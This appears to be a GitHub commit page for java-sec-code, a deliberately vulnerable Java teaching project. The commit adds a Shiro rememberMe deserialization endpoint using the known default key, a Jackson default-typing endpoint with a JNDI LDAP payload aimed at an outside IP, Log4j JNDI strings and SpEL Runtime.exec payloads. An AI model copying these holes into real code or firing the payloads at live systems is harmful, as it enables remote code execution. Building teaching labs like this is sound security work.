Skip to content

Commit 920bd93

Browse files
author
JoyChou
committed
fix #78
1 parent 4ede83a commit 920bd93

20 files changed

+203
-91
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ Sort by letter.
4747
- ScriptEngine
4848
- Yaml Deserialize
4949
- Groovy
50+
- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
5051
- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
5152
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
5253
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)

README_zh.md

+1
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ joychou/joychou123
4242
- ScriptEngine
4343
- Yaml Deserialize
4444
- Groovy
45+
- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
4546
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
4647
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
4748
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)

java-sec-code.iml

+6
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
11
<?xml version="1.0" encoding="UTF-8"?>
22
<module version="4">
3+
<component name="AdditionalModuleElements">
4+
<content url="file://$MODULE_DIR$" dumb="true">
5+
<sourceFolder url="file://$MODULE_DIR$/spring-cloud-gateway-helloworld" isTestSource="false" />
6+
<sourceFolder url="file://$MODULE_DIR$/src/main/test" isTestSource="true" />
7+
</content>
8+
</component>
39
<component name="FacetManager">
410
<facet type="Spring" name="Spring">
511
<configuration />

pom.xml

+62-3
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,6 @@
1212
<properties>
1313
<maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
1414
<maven.compiler.target>1.8</maven.compiler.target>
15-
<tomcat.version>8.5.85</tomcat.version>
1615
</properties>
1716

1817

@@ -197,11 +196,12 @@
197196
<version>1.7</version>
198197
</dependency>
199198

200-
<!-- rce -->
199+
201200
<dependency>
202201
<groupId>com.thoughtworks.xstream</groupId>
203202
<artifactId>xstream</artifactId>
204-
<version>1.4.10</version>
203+
<!-- For testing, you can use the vulnerable version of 1.4.10. -->
204+
<version>1.4.20</version> <!-- use latest version to exploit vuln by using xstream.addPermission-->
205205
</dependency>
206206

207207
<dependency>
@@ -344,6 +344,65 @@
344344
<version>11.5.8.0</version>
345345
</dependency>
346346

347+
<dependency>
348+
<groupId>org.apache.shiro</groupId>
349+
<artifactId>shiro-core</artifactId>
350+
<version>1.2.4</version>
351+
</dependency>
352+
353+
<dependency>
354+
<groupId>com.fasterxml.jackson.core</groupId>
355+
<artifactId>jackson-databind</artifactId>
356+
<version>2.9.8</version>
357+
</dependency>
358+
359+
<dependency>
360+
<groupId>com.fasterxml.jackson.core</groupId>
361+
<artifactId>jackson-annotations</artifactId>
362+
<version>2.9.8</version>
363+
</dependency>
364+
365+
<dependency>
366+
<groupId>com.fasterxml.jackson.core</groupId>
367+
<artifactId>jackson-core</artifactId>
368+
<version>2.9.8</version>
369+
</dependency>
370+
371+
372+
<!-- https://mvnrepository.com/artifact/org.jsecurity/jsecurity -->
373+
<dependency>
374+
<groupId>org.jsecurity</groupId>
375+
<artifactId>jsecurity</artifactId>
376+
<version>0.9.0</version>
377+
</dependency>
378+
379+
380+
<!-- 为了使用SimpleEvaluationContext,该类需要spring-expression版本大于等于4.3.15 -->
381+
<dependency>
382+
<groupId>org.springframework</groupId>
383+
<artifactId>spring-expression</artifactId>
384+
<version>4.3.16.RELEASE</version>
385+
</dependency>
386+
387+
<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
388+
<dependency>
389+
<groupId>com.h2database</groupId>
390+
<artifactId>h2</artifactId>
391+
<version>1.4.199</version>
392+
<scope>test</scope>
393+
</dependency>
394+
395+
<dependency>
396+
<groupId>org.apache.tomcat</groupId>
397+
<artifactId>tomcat-dbcp</artifactId>
398+
<version>9.0.8</version>
399+
</dependency>
400+
401+
<dependency>
402+
<groupId>com.alibaba</groupId>
403+
<artifactId>QLExpress</artifactId>
404+
<version>3.3.1</version>
405+
</dependency>
347406
</dependencies>
348407

349408
<dependencyManagement>

src/main/java/org/joychou/Application.java

-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@
55
import org.springframework.boot.builder.SpringApplicationBuilder;
66
import org.springframework.boot.web.servlet.ServletComponentScan;
77
import org.springframework.boot.web.support.SpringBootServletInitializer;
8-
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
98

109

1110
@ServletComponentScan // do filter

src/main/java/org/joychou/config/TomcatFilterMemShell.java

+2-17
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,5 @@
11
package org.joychou.config;
22

3-
import com.sun.org.apache.xalan.internal.xsltc.DOM;
4-
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5-
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6-
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7-
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
83
import java.lang.reflect.Field;
94
import org.apache.catalina.core.StandardContext;
105
import java.io.IOException;
@@ -19,8 +14,8 @@
1914
import javax.servlet.*;
2015
import java.util.*;
2116

22-
@Component
23-
public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
17+
//@Component
18+
public class TomcatFilterMemShell implements Filter {
2419
static{
2520
try {
2621
System.out.println("Tomcat filter backdoor class is loading...");
@@ -75,16 +70,6 @@ public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
7570
}
7671

7772

78-
@Override
79-
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
80-
81-
}
82-
83-
@Override
84-
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
85-
86-
}
87-
8873
@Override
8974
public void init(FilterConfig filterConfig) throws ServletException {
9075

src/main/java/org/joychou/controller/Deserialize.java

+14
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package org.joychou.controller;
22

3+
import com.fasterxml.jackson.databind.ObjectMapper;
34
import org.joychou.config.Constants;
45
import org.joychou.security.AntObjectInputStream;
56
import org.slf4j.Logger;
@@ -83,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
8384
return "I'm very OK.";
8485
}
8586

87+
// String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
88+
@RequestMapping("/jackson")
89+
public void Jackson(String payload) {
90+
ObjectMapper mapper = new ObjectMapper();
91+
mapper.enableDefaultTyping();
92+
try {
93+
Object obj = mapper.readValue(payload, Object.class);
94+
mapper.writeValueAsString(obj);
95+
} catch (IOException e) {
96+
e.printStackTrace();
97+
}
98+
}
99+
86100
}

src/main/java/org/joychou/controller/FileUpload.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException {
195195
BufferedImage bi = ImageIO.read(file);
196196
return bi != null;
197197
}
198-
}
198+
}

src/main/java/org/joychou/controller/Jsonp.java

+1-2
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,8 @@
66
import com.alibaba.fastjson.JSONPObject;
77
import lombok.extern.slf4j.Slf4j;
88
import org.apache.commons.lang.StringUtils;
9-
import org.joychou.security.SecurityUtil;
109
import org.joychou.util.LoginUtils;
10+
import org.joychou.security.SecurityUtil;
1111
import org.springframework.beans.factory.annotation.Autowired;
1212
import org.springframework.http.MediaType;
1313
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
@@ -19,7 +19,6 @@
1919
import org.joychou.util.WebUtils;
2020

2121
import javax.servlet.http.HttpServletRequest;
22-
import javax.servlet.http.HttpServletResponse;
2322
import java.security.Principal;
2423

2524

src/main/java/org/joychou/controller/Jwt.java

+3-1
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,9 @@ public String createToken(HttpServletResponse response, HttpServletRequest reque
3333
String loginUser = request.getUserPrincipal().getName();
3434
log.info("Current login user is " + loginUser);
3535

36-
CookieUtils.deleteCookie(response, COOKIE_NAME);
36+
if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
37+
return String.format("%s cookie delete failed", COOKIE_NAME);
38+
}
3739
String token = JwtUtils.generateTokenByJavaJwt(loginUser);
3840
Cookie cookie = new Cookie(COOKIE_NAME, token);
3941

src/main/java/org/joychou/controller/Log4j.java

+6-11
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
import org.apache.logging.log4j.LogManager;
44
import org.apache.logging.log4j.Logger;
5-
import org.springframework.web.bind.annotation.GetMapping;
5+
import org.springframework.web.bind.annotation.RequestMapping;
66
import org.springframework.web.bind.annotation.RestController;
77

88
@RestController
@@ -11,23 +11,18 @@ public class Log4j {
1111
private static final Logger logger = LogManager.getLogger("Log4j");
1212

1313
/**
14-
* http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999}
14+
* http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
1515
* Default: error/fatal/off
1616
* Fix: Update log4j to lastet version.
17-
* @param token token
1817
*/
19-
@GetMapping("/log4j")
18+
@RequestMapping(value = "/log4j")
2019
public String log4j(String token) {
21-
if(token.equals("java-sec-code")) {
22-
return "java sec code";
23-
} else {
24-
logger.error(token);
25-
return "error";
26-
}
20+
logger.error(token);
21+
return token;
2722
}
2823

2924
public static void main(String[] args) {
30-
String poc = "${jndi:ldap://127.0.0.1:1389/f616nl}";
25+
String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
3126
logger.error(poc);
3227
}
3328

src/main/java/org/joychou/controller/Rce.java

-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,6 @@
1515
import java.io.BufferedInputStream;
1616
import java.io.BufferedReader;
1717
import java.io.InputStreamReader;
18-
import java.sql.DriverManager;
1918

2019

2120
/**
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
package org.joychou.controller;
2+
3+
4+
import lombok.extern.slf4j.Slf4j;
5+
import org.apache.shiro.crypto.AesCipherService;
6+
import org.joychou.config.Constants;
7+
import org.joychou.util.CookieUtils;
8+
import org.springframework.web.bind.annotation.GetMapping;
9+
import org.springframework.web.bind.annotation.RestController;
10+
import javax.servlet.http.Cookie;
11+
import javax.servlet.http.HttpServletRequest;
12+
import javax.servlet.http.HttpServletResponse;
13+
import java.io.*;
14+
import static org.springframework.web.util.WebUtils.getCookie;
15+
16+
@Slf4j
17+
@RestController
18+
public class Shiro {
19+
20+
byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
21+
private final static String DELETE_ME = "deleteMe";
22+
AesCipherService acs = new AesCipherService();
23+
24+
25+
@GetMapping(value = "/shiro/deserialize")
26+
public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
27+
Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
28+
if (null == cookie) {
29+
return "No rememberMe cookie. Right?";
30+
}
31+
32+
try {
33+
String rememberMe = cookie.getValue();
34+
byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
35+
byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
36+
ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
37+
ObjectInputStream in = new ObjectInputStream(bytes);
38+
in.readObject();
39+
in.close();
40+
} catch (Exception e){
41+
if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
42+
log.error(e.getMessage());
43+
return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
44+
}
45+
}
46+
47+
return "Shiro deserialize";
48+
}
49+
}
+38-12
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,64 @@
11
package org.joychou.controller;
22

3+
import org.springframework.expression.Expression;
34
import org.springframework.expression.ExpressionParser;
5+
import org.springframework.expression.common.TemplateParserContext;
46
import org.springframework.expression.spel.standard.SpelExpressionParser;
5-
import org.springframework.web.bind.annotation.GetMapping;
7+
import org.springframework.expression.spel.support.SimpleEvaluationContext;
8+
import org.springframework.expression.spel.support.StandardEvaluationContext;
69
import org.springframework.web.bind.annotation.RequestMapping;
710
import org.springframework.web.bind.annotation.RestController;
811

912

1013
/**
11-
* SpEL Injection
12-
*
14+
* SpEL Injection.
1315
* @author JoyChou @2019-01-17
1416
*/
1517
@RestController
1618
public class SpEL {
1719

1820
/**
19-
* SpEL to RCE
20-
* http://localhost:8080/spel/vul/?expression=xxx.
21-
* xxx is urlencode(exp)
22-
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
21+
* Use Spel to execute cmd. <p>
22+
* T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
2323
*/
24-
@GetMapping("/spel/vuln")
25-
public String rce(String expression) {
24+
@RequestMapping("/spel/vuln1")
25+
public String spel_vuln1(String value) {
2626
ExpressionParser parser = new SpelExpressionParser();
27-
// fix method: SimpleEvaluationContext
28-
return parser.parseExpression(expression).getValue().toString();
27+
return parser.parseExpression(value).getValue().toString();
28+
}
29+
30+
/**
31+
* Use Spel to execute cmd. <p>
32+
* #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
33+
* Exploit must add <code>#{}</code> if using TemplateParserContext.
34+
*/
35+
@RequestMapping("spel/vuln2")
36+
public String spel_vuln2(String value) {
37+
StandardEvaluationContext context = new StandardEvaluationContext();
38+
SpelExpressionParser parser = new SpelExpressionParser();
39+
Expression expression = parser.parseExpression(value, new TemplateParserContext());
40+
Object x = expression.getValue(context); // trigger vulnerability point
41+
return x.toString(); // response
42+
}
43+
44+
/**
45+
* Use SimpleEvaluationContext to fix.
46+
*/
47+
@RequestMapping("spel/sec")
48+
public String spel_sec(String value) {
49+
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
50+
SpelExpressionParser parser = new SpelExpressionParser();
51+
Expression expression = parser.parseExpression(value, new TemplateParserContext());
52+
Object x = expression.getValue(context);
53+
return x.toString();
2954
}
3055

3156
public static void main(String[] args) {
3257
ExpressionParser parser = new SpelExpressionParser();
33-
String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
58+
String expression = "1+1";
3459
String result = parser.parseExpression(expression).getValue().toString();
3560
System.out.println(result);
3661
}
62+
3763
}
3864

0 commit comments

Comments
 (0)